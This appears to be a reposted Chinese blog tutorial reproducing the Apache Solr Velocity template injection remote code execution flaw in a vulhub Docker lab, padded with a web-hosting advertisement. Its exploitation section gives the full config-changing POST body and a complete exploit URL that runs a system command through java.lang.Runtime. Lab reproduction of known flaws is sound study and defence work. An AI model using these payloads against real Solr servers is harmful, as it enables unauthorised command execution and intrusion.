ApacheSolrVelocity模板注入RCE漏洞复现是怎样的

这期内容当中小编将会给大家带来有关Apache Solr Velocity模板注入RCE漏洞复现是怎样的，文章内容丰富且以专业的角度为大家分析和叙述，阅读完这篇文章希望大家可以有所收获。

创新互联从2013年创立，先为平桥等服务建站，平桥等地企业，进行企业商务咨询服务。为平桥企业网站制作PC+手机+微官网三网同步一站式服务解决您的所有建站问题。

0x00 简介

Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。

0x01 漏洞概述

该漏洞的产生是由于两方面的原因：

当攻击者可以直接访问Solr控制台时，可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

Apache Solr默认集成VelocityResponseWriter插件，在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版，默认设置是false。

当设置params.resource.loader.enabled为true时，将允许用户通过设置请求中的参数来指定相关资源的加载，这也就意味着攻击者可以通过构造一个具有威胁的攻击请求，在服务器上进行命令执行。（来自360CERT）

0x02 影响范围

Apache Solr 5.x - 8.2.0，存在config API版本

0x03 环境搭建

在线环境：

转发本文到朋友圈，截图发至公众号

自行搭建：

使用vulhub中CVE-2019-0193的环境进行搭建

启动vulhub环境：

git clone https://github.com/vulhub/vulhub.gitcd vulhub/solr/CVE-2019-0193docker-compose up -d

创建名为test的Core：

docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db

搭建好后默认端口为8983，访问http://ip:8983 即可

Apache Solr Velocity模板注入RCE漏洞复现是怎样的

0x04 漏洞利用

利用前提：攻击者需要知道Solr服务中Core的名称才能执行攻击

Apache Solr Velocity模板注入RCE漏洞复现是怎样的

如上图所示的这个名称就是Core的名称

直接构造POST请求，在/solr/test/config目录POST以下数据（修改Core的配置）

{  "update-queryresponsewriter": {    "startup": "lazy",    "name": "velocity",    "class": "solr.VelocityResponseWriter",    "template.base.dir": "",    "solr.resource.loader.enabled": "true",    "params.resource.loader.enabled": "true"  }}

Apache Solr Velocity模板注入RCE漏洞复现是怎样的

然后使用公开的exp发送请求

http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

即可成功执行命令

Apache Solr Velocity模板注入RCE漏洞复现是怎样的